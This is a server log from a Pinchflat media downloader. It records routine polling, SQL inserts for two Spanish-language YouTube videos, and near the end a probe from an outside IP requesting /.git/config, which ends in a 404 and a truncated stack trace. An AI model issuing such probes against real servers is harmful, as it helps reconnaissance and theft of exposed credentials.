22:05:51.305 [debug] Current batch of media processed. Will check again in 1000ms 22:05:51.331 [debug] Current batch of media processed. Will check again in 1000ms 22:05:52.306 [debug] Current batch of media processed. Will check again in 1000ms 22:05:52.332 [debug] Current batch of media processed. Will check again in 1000ms 22:05:53.307 [debug] Current batch of media processed. Will check again in 1000ms 22:05:53.333 [debug] Current batch of media processed. Will check again in 1000ms 22:05:54.308 [debug] Current batch of media processed. Will check again in 1000ms 22:05:54.334 [debug] Current batch of media processed. Will check again in 1000ms 22:05:55.309 [debug] Current batch of media processed. Will check again in 1000ms 22:05:55.335 [debug] Current batch of media processed. Will check again in 1000ms 22:05:56.310 [debug] Current batch of media processed. Will check again in 1000ms 22:05:56.336 [debug] Current batch of media processed. Will check again in 1000ms 22:05:57.311 [debug] Current batch of media processed. Will check again in 1000ms 22:05:57.337 [debug] Current batch of media processed. Will check again in 1000ms 22:05:58.312 [debug] Current batch of media processed. Will check again in 1000ms 22:05:58.338 [debug] Current batch of media processed. Will check again in 1000ms 22:05:59.313 [debug] Current batch of media processed. Will check again in 1000ms 22:05:59.339 [debug] Current batch of media processed. Will check again in 1000ms 22:06:00.082 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:00.314 [debug] Current batch of media processed. Will check again in 1000ms 22:06:00.340 [debug] Current batch of media processed. Will check again in 1000ms 22:06:01.315 [debug] Current batch of media processed. Will check again in 1000ms 22:06:01.341 [debug] Current batch of media processed. Will check again in 1000ms 22:06:02.316 [debug] Current batch of media processed. Will check again in 1000ms 22:06:02.342 [debug] Current batch of media processed. Will check again in 1000ms 22:06:03.317 [debug] Current batch of media processed. Will check again in 1000ms 22:06:03.343 [debug] Current batch of media processed. Will check again in 1000ms 22:06:04.318 [debug] Current batch of media processed. Will check again in 1000ms 22:06:04.344 [debug] Current batch of media processed. Will check again in 1000ms 22:06:05.319 [debug] Current batch of media processed. Will check again in 1000ms 22:06:05.345 [debug] Current batch of media processed. Will check again in 1000ms 22:06:06.321 [debug] Current batch of media processed. Will check again in 1000ms 22:06:06.346 [debug] Current batch of media processed. Will check again in 1000ms 22:06:07.321 [debug] Current batch of media processed. Will check again in 1000ms 22:06:07.347 [debug] Current batch of media processed. Will check again in 1000ms 22:06:08.322 [debug] Current batch of media processed. Will check again in 1000ms 22:06:08.348 [debug] Current batch of media processed. Will check again in 1000ms 22:06:09.323 [debug] Current batch of media processed. Will check again in 1000ms 22:06:09.349 [debug] Current batch of media processed. Will check again in 1000ms 22:06:10.324 [debug] Current batch of media processed. Will check again in 1000ms 22:06:10.350 [debug] Current batch of media processed. Will check again in 1000ms 22:06:11.325 [debug] Current batch of media processed. Will check again in 1000ms 22:06:11.351 [debug] Current batch of media processed. Will check again in 1000ms 22:06:12.326 [debug] Current batch of media processed. Will check again in 1000ms 22:06:12.352 [debug] Current batch of media processed. Will check again in 1000ms 22:06:13.327 [debug] Current batch of media processed. Will check again in 1000ms 22:06:13.353 [debug] Current batch of media processed. Will check again in 1000ms 22:06:14.328 [debug] Current batch of media processed. Will check again in 1000ms 22:06:14.354 [debug] Current batch of media processed. Will check again in 1000ms 22:06:15.329 [debug] Current batch of media processed. Will check again in 1000ms 22:06:15.355 [debug] Current batch of media processed. Will check again in 1000ms 22:06:16.330 [debug] Current batch of media processed. Will check again in 1000ms 22:06:16.356 [debug] Current batch of media processed. Will check again in 1000ms 22:06:17.331 [debug] Current batch of media processed. Will check again in 1000ms 22:06:17.357 [debug] Current batch of media processed. Will check again in 1000ms 22:06:18.332 [debug] Current batch of media processed. Will check again in 1000ms 22:06:18.358 [debug] Current batch of media processed. Will check again in 1000ms 22:06:19.333 [debug] Current batch of media processed. Will check again in 1000ms 22:06:19.359 [debug] Current batch of media processed. Will check again in 1000ms 22:06:20.334 [debug] Current batch of media processed. Will check again in 1000ms 22:06:20.360 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Probando los modelos T-ECHO y T-WATCH S3 de LILYGO.\n\nEnlaces a los productos:\n\nT-Echo Meshtastic\nhttps://lilygo.cc/products/t-echo-meshtastic\n\nT-Watch S3\nhttps://lilygo.cc/products/t-watch-s3\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:30 - Intro Canal\n00:48 - El Lilygo T-Echo\n18:28 - El Lilygo T-Watch S3\n27:35 - Conclusiones\n\n#t-echo #lilygo #t-watchs3 #meshtastic #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1740, "filename" => "/downloads/music/ea3grn/165 - PROBANDO LILYGO T ECHO Y T WATCH S3.m4a", "id" => "gR9l0CPUO2M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gR9l0CPUO2M", "playlist_index" => 15, "timestamp" => 1750956865, "title" => "165 - PROBANDO LILYGO T ECHO Y T WATCH S3", "upload_date" => "20250626"} 22:06:20.361 [debug] QUERY OK source="sources" db=0.6ms idle=626.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:06:20.362 [debug] QUERY OK source="sources" db=0.4ms idle=627.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:06:20.363 [debug] QUERY OK source="media_items" db=0.7ms idle=627.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 16:54:25Z], 3] 22:06:20.365 [debug] QUERY OK source="media_items" db=1.1ms idle=628.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Probando los modelos T-ECHO y T-WATCH S3 de LILYGO.\n\nEnlaces a los productos:\n\nT-Echo Meshtastic\nhttps://lilygo.cc/products/t-echo-meshtastic\n\nT-Watch S3\nhttps://lilygo.cc/products/t-watch-s3\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:30 - Intro Canal\n00:48 - El Lilygo T-Echo\n18:28 - El Lilygo T-Watch S3\n27:35 - Conclusiones\n\n#t-echo #lilygo #t-watchs3 #meshtastic #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "165 - PROBANDO LILYGO T ECHO Y T WATCH S3", "f478fec2-c675-431e-9a8b-db386d0da947", 1740, false, "gR9l0CPUO2M", "https://www.youtube.com/watch?v=gR9l0CPUO2M", 15, "/downloads/music/ea3grn/165 - PROBANDO LILYGO T ECHO Y T WATCH S3.m4a", false, false, false, 3, [], 98, ~U[2025-06-26 16:54:25Z], ~U[2026-02-07 21:06:20Z], ~U[2026-02-07 21:06:20Z], "Probando los modelos T-ECHO y T-WATCH S3 de LILYGO.\n\nEnlaces a los productos:\n\nT-Echo Meshtastic\nhttps://lilygo.cc/products/t-echo-meshtastic\n\nT-Watch S3\nhttps://lilygo.cc/products/t-watch-s3\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:30 - Intro Canal\n00:48 - El Lilygo T-Echo\n18:28 - El Lilygo T-Watch S3\n27:35 - Conclusiones\n\n#t-echo #lilygo #t-watchs3 #meshtastic #hamradio #radioaficionados \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "165 - PROBANDO LILYGO T ECHO Y T WATCH S3", 1740, false, "gR9l0CPUO2M", "https://www.youtube.com/watch?v=gR9l0CPUO2M", "/downloads/music/ea3grn/165 - PROBANDO LILYGO T ECHO Y T WATCH S3.m4a", false, 3, ~U[2025-06-26 16:54:25Z]] 22:06:20.365 [debug] QUERY OK source="sources" db=0.5ms idle=219.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:06:20.366 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:20.367 [debug] QUERY OK source="media_items" db=0.7ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1314] 22:06:20.367 [debug] Current batch of media processed. Will check again in 1000ms 22:06:21.121 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:21.335 [debug] Current batch of media processed. Will check again in 1000ms 22:06:21.368 [debug] Current batch of media processed. Will check again in 1000ms 22:06:22.336 [debug] Current batch of media processed. Will check again in 1000ms 22:06:22.369 [debug] Current batch of media processed. Will check again in 1000ms 22:06:23.337 [debug] Current batch of media processed. Will check again in 1000ms 22:06:23.370 [debug] Current batch of media processed. Will check again in 1000ms 22:06:24.338 [debug] Current batch of media processed. Will check again in 1000ms 22:06:24.371 [debug] Current batch of media processed. Will check again in 1000ms 22:06:25.339 [debug] Current batch of media processed. Will check again in 1000ms 22:06:25.372 [debug] Current batch of media processed. Will check again in 1000ms 22:06:26.340 [debug] Current batch of media processed. Will check again in 1000ms 22:06:26.373 [debug] Current batch of media processed. Will check again in 1000ms 22:06:27.341 [debug] Current batch of media processed. Will check again in 1000ms 22:06:27.374 [debug] Current batch of media processed. Will check again in 1000ms 22:06:28.342 [debug] Current batch of media processed. Will check again in 1000ms 22:06:28.375 [debug] Current batch of media processed. Will check again in 1000ms 22:06:29.343 [debug] Current batch of media processed. Will check again in 1000ms 22:06:29.376 [debug] Current batch of media processed. Will check again in 1000ms 22:06:30.344 [debug] Current batch of media processed. Will check again in 1000ms 22:06:30.377 [debug] Current batch of media processed. Will check again in 1000ms 22:06:31.345 [debug] Current batch of media processed. Will check again in 1000ms 22:06:31.378 [debug] Current batch of media processed. Will check again in 1000ms 22:06:32.346 [debug] Current batch of media processed. Will check again in 1000ms 22:06:32.379 [debug] Current batch of media processed. Will check again in 1000ms 22:06:33.347 [debug] Current batch of media processed. Will check again in 1000ms 22:06:33.380 [debug] Current batch of media processed. Will check again in 1000ms 22:06:34.348 [debug] Current batch of media processed. Will check again in 1000ms 22:06:34.381 [debug] Current batch of media processed. Will check again in 1000ms 22:06:35.349 [debug] Current batch of media processed. Will check again in 1000ms 22:06:35.382 [debug] Current batch of media processed. Will check again in 1000ms 22:06:36.350 [debug] Current batch of media processed. Will check again in 1000ms 22:06:36.383 [debug] Current batch of media processed. Will check again in 1000ms 22:06:37.351 [debug] Current batch of media processed. Will check again in 1000ms 22:06:37.384 [debug] Current batch of media processed. Will check again in 1000ms 22:06:38.352 [debug] Current batch of media processed. Will check again in 1000ms 22:06:38.385 [debug] Current batch of media processed. Will check again in 1000ms 22:06:39.353 [debug] Current batch of media processed. Will check again in 1000ms 22:06:39.386 [debug] Current batch of media processed. Will check again in 1000ms 22:06:40.354 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣5️⃣: Agentes Navegadores... Comet y Atlas ☄️☄️\n\nNo entiendo porque??? pero de esto se habla muy poco en redes y es la bomba!!! la gente debe estar acostumbrándose a bombazo tras bombazo y ya pasan de todo??? no lo se!\n\nEn cualquier caso David García Martínez y yo os lo vamos a contar en el hashtag#IAMIQUE de hoy.\n\nLo que os vamos a contar es como de una manera ultra sencilla dejarle a la IA que haga tareas tuyas que sueles hacer en el navegador. Si has leído bien, la IA puede manejar tu navegador y sin apenas instrucciones manejarlo y conseguir hacer tu tarea, desde meter un pedido en un sistema x, hasta buscar la mejor oferta de algo y comprar, o analizar unos datos y enviar un correo con el análisis. y si a partir de ahí todo lo que se te ocurra...\n\nAnda enróllate y pruébalo y dinos a todos que te ha hecho.. queremos saber casos de uso!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Perplexity #Comet #Atlas\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 709, "filename" => "/downloads/music/IA mí QUÉ/EP.35: ATLAS VS COMET.m4a", "id" => "gsAUm4MIVCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gsAUm4MIVCI", "playlist_index" => 15, "timestamp" => 1761903770, "title" => "EP.35: ATLAS VS COMET", "upload_date" => "20251031"} 22:06:40.355 [debug] QUERY OK source="sources" db=0.6ms idle=1175.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:06:40.356 [debug] QUERY OK source="sources" db=0.4ms idle=621.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:06:40.357 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=621.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 09:42:50Z], 2] 22:06:40.359 [debug] QUERY OK source="media_items" db=1.2ms idle=623.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣5️⃣: Agentes Navegadores... Comet y Atlas ☄️☄️\n\nNo entiendo porque??? pero de esto se habla muy poco en redes y es la bomba!!! la gente debe estar acostumbrándose a bombazo tras bombazo y ya pasan de todo??? no lo se!\n\nEn cualquier caso David García Martínez y yo os lo vamos a contar en el hashtag#IAMIQUE de hoy.\n\nLo que os vamos a contar es como de una manera ultra sencilla dejarle a la IA que haga tareas tuyas que sueles hacer en el navegador. Si has leído bien, la IA puede manejar tu navegador y sin apenas instrucciones manejarlo y conseguir hacer tu tarea, desde meter un pedido en un sistema x, hasta buscar la mejor oferta de algo y comprar, o analizar unos datos y enviar un correo con el análisis. y si a partir de ahí todo lo que se te ocurra...\n\nAnda enróllate y pruébalo y dinos a todos que te ha hecho.. queremos saber casos de uso!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Perplexity #Comet #Atlas\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.35: ATLAS VS COMET", "bcc08f01-30a7-4d1f-a331-d6d9379fcb0f", 709, false, "gsAUm4MIVCI", "https://www.youtube.com/watch?v=gsAUm4MIVCI", 15, "/downloads/music/IA mí QUÉ/EP.35: ATLAS VS COMET.m4a", false, false, false, 2, [], 96, ~U[2025-10-31 09:42:50Z], ~U[2026-02-07 21:06:40Z], ~U[2026-02-07 21:06:40Z], "#IAMIQUE 👉🏼 Ep3️⃣5️⃣: Agentes Navegadores... Comet y Atlas ☄️☄️\n\nNo entiendo porque??? pero de esto se habla muy poco en redes y es la bomba!!! la gente debe estar acostumbrándose a bombazo tras bombazo y ya pasan de todo??? no lo se!\n\nEn cualquier caso David García Martínez y yo os lo vamos a contar en el hashtag#IAMIQUE de hoy.\n\nLo que os vamos a contar es como de una manera ultra sencilla dejarle a la IA que haga tareas tuyas que sueles hacer en el navegador. Si has leído bien, la IA puede manejar tu navegador y sin apenas instrucciones manejarlo y conseguir hacer tu tarea, desde meter un pedido en un sistema x, hasta buscar la mejor oferta de algo y comprar, o analizar unos datos y enviar un correo con el análisis. y si a partir de ahí todo lo que se te ocurra...\n\nAnda enróllate y pruébalo y dinos a todos que te ha hecho.. queremos saber casos de uso!!!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Perplexity #Comet #Atlas\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.35: ATLAS VS COMET", 709, false, "gsAUm4MIVCI", "https://www.youtube.com/watch?v=gsAUm4MIVCI", "/downloads/music/IA mí QUÉ/EP.35: ATLAS VS COMET.m4a", false, 2, ~U[2025-10-31 09:42:50Z]] 22:06:40.359 [debug] QUERY OK source="sources" db=0.3ms idle=177.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:06:40.360 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:40.361 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1267] 22:06:40.361 [debug] Current batch of media processed. Will check again in 1000ms 22:06:40.387 [debug] Current batch of media processed. Will check again in 1000ms 22:06:41.361 [debug] Current batch of media processed. Will check again in 1000ms 22:06:41.388 [debug] Current batch of media processed. Will check again in 1000ms 22:06:42.362 [debug] Current batch of media processed. Will check again in 1000ms 22:06:42.389 [debug] Current batch of media processed. Will check again in 1000ms 22:06:43.241 [info] GET /.git/config 22:06:43.245 [debug] QUERY OK source="settings" db=0.7ms idle=1509.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:43.245 [debug] QUERY OK source="settings" db=0.5ms idle=1510.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:43.246 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:06:43.247 [error] #PID<0.2751.0> running PinchflatWeb.Endpoint (connection #PID<0.2750.0>, stream id 1) terminated Server: 141.145.209.211:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58748}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "141.145.209.211", method: "GET", owner: #PID<0.2751.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://141.145.209.211", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"connection", "upgrade"}, {"host", "141.145.209.211"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"}, {"x-forwarded-for", "134.199.168.121"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "134.199.168.121"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIS6tCYcOORIRUAABPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: 